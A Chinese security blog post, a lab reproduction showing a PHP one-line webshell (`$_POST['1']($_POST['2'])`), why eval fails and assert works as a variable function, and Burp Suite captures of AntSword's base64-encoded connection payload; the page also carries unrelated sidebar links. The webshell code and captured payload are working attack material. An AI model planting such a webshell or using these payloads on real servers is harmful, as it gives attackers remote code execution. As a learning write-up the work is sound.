当前位置:网站首页>安全基础6 ---漏洞复现
安全基础6 ---漏洞复现
2022-07-25 19:25:00 【抱小猫】
工具:蚁剑、burpsuite
一句话木马:
<?php
$_POST['1']($_POST['2']);1、开始:我们想着把POST中的1传成:eval,这样就变成了eval($_POST['2]),此时就变成一个完美的一句话木马。
但是:这样的方式连接失败


失败原因:eval是一个语言构造而不是一个函数,不能被可变函数调用
PHP支持可变函数的概念,如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。
2、这时,我们尝试使用assert函数测试

但是依然没有实现
3、这时我们将1提交为assert,2提交为eval($_POST[2])进行测试,这样提交参数相当于将PHP中代码变成了assert(eval($_POST[2]))

终于连接成功,说明这个方法是可行的
成功原因:assert在php中被认为是一个函数
4、如果我们1提交为assert,2提交为$_POST['chengke'],post里面为任意字符串,能否成功呢,我们再次进行成功

第一次,连接密码我们设置的为chengke,连接失败
第二次,我们把密码改成2时,显示连接成功

这时我们抓包测试一下
第一步:我们先在burpsuite 和蚁剑中设置代理


第二步:利用蚁剑发起连接请求用于抓包

可以通过抓包得到的信息开头为:1=assert&2=%40eval(%40base64_decode(%24_POST%5B'v723948492fd3c'%5D))%3B&v723948492fd3c=Q.......
可以看见2的里面多了一个eval函数,因为我们提交时用base64编码,所以其中使用eval函数对base64提供解码操作
若我们不使用编码器时,进行测试得到的结果为:
我们可以看见没有使用编码器时得到的信息2中没有eval函数,就只有一串字符串,然而只有字符串是无法执行assert函数,所以不使用编码器时是不行的。1=assert&2=%24_POST%5B'chengke'%5D&chengke=%40ini_set(%22display_........
由此可知,当我们选择base64编码器编码时,会自动生成eval函数对base64进行解码,然而我们刚好需要在2中有eval函数,此时就能使用assert从而生成一句话木马。
边栏推荐
- 【DETR用于3D目标检测】3DETR: An End-to-End Transformer Model for 3D Object Detection
- Telnet installation and telnet (correct password) cannot log in!
- Wechat campus maintenance and repair applet graduation design finished product (5) assignment of applet completion work
- 乐理基础 调式
- 哪吒 D1-H 测试 microbench
- CRM configuration item command notes
- Alibaba cloud free SSL certificate application detailed process
- Network packet multi-layer transmission demonstration
- The degree of interval of basic music theory
- 高端旗舰投影仪选购指南:当贝X3 Pro、当贝F5观影更沉浸!
猜你喜欢
![[web technology] 1391 page visualization building tool, previous life and present life](/img/59/a4efd1a703f5d876b170908ed0053c.png)
[web technology] 1391 page visualization building tool, previous life and present life

How to change the chords after the tune of the song is changed

The degree of interval of basic music theory

Use of swift basic codable (jsonencoder jsondecoder)

Hongmeng - Damiao computing Sketchpad - Introduction

基于PHP的中非南南合作信息交流平台网站建设

Internal network planning and design of Yingcheng hospital
![[Detr for 3D object detection] 3detr: an end to end transformer model for 3D object detection](/img/22/426bcb8641db5bfe07e8aacf5e8427.png)
[Detr for 3D object detection] 3detr: an end to end transformer model for 3D object detection

【HDLBits 刷题】Verilog Language(3)Modules: Hierarchy 部分

小程序毕设作品之微信校园维修报修小程序毕业设计成品(2)小程序功能
随机推荐
Talk about 15 tips of SQL optimization
[iniparser] simple use of the project configuration tool iniparser
[Detr for 3D object detection] detr3d: 3D object detection from multi view images via 3D-to-2D queries
ERROR: role “admin“ cannot be dropped because some objects depend on itDETAIL:
[applet development] common components and basic usage details
Alibaba cloud free SSL certificate application detailed process
阿姆利塔工程学院|用于情感分析的方面术语提取中优化采样的强化主动学习方法
kubernetes RBAC
[server data recovery] a data recovery case of a brand ProLiant server raid paralysis, database file loss, and database file backup damage
485 current acquisition module dam-8041
微信小程序 28 热搜榜的完善①
TypeError: ‘str‘ object is not callable的错误原因
网上商城系统MySql数据库设计项目实战
Imeta | sangerbox: interactive integrated clinical information analysis platform
SQL Server 2019 installation tutorial
CLIP还能做分割任务?哥廷根大学提出一个使用文本和图像prompt,能同时作三个分割任务的模型CLIPSeg,榨干CLIP能力...
Imperial cms7.5 imitation "question and answer library" question and answer learning platform website source code with mobile version
Based on easycv to reproduce Detr and dab-detr, the correct opening method of object query
Pymoo learning (8):grades
The finished product of wechat campus maintenance and repair applet graduation design (1) development outline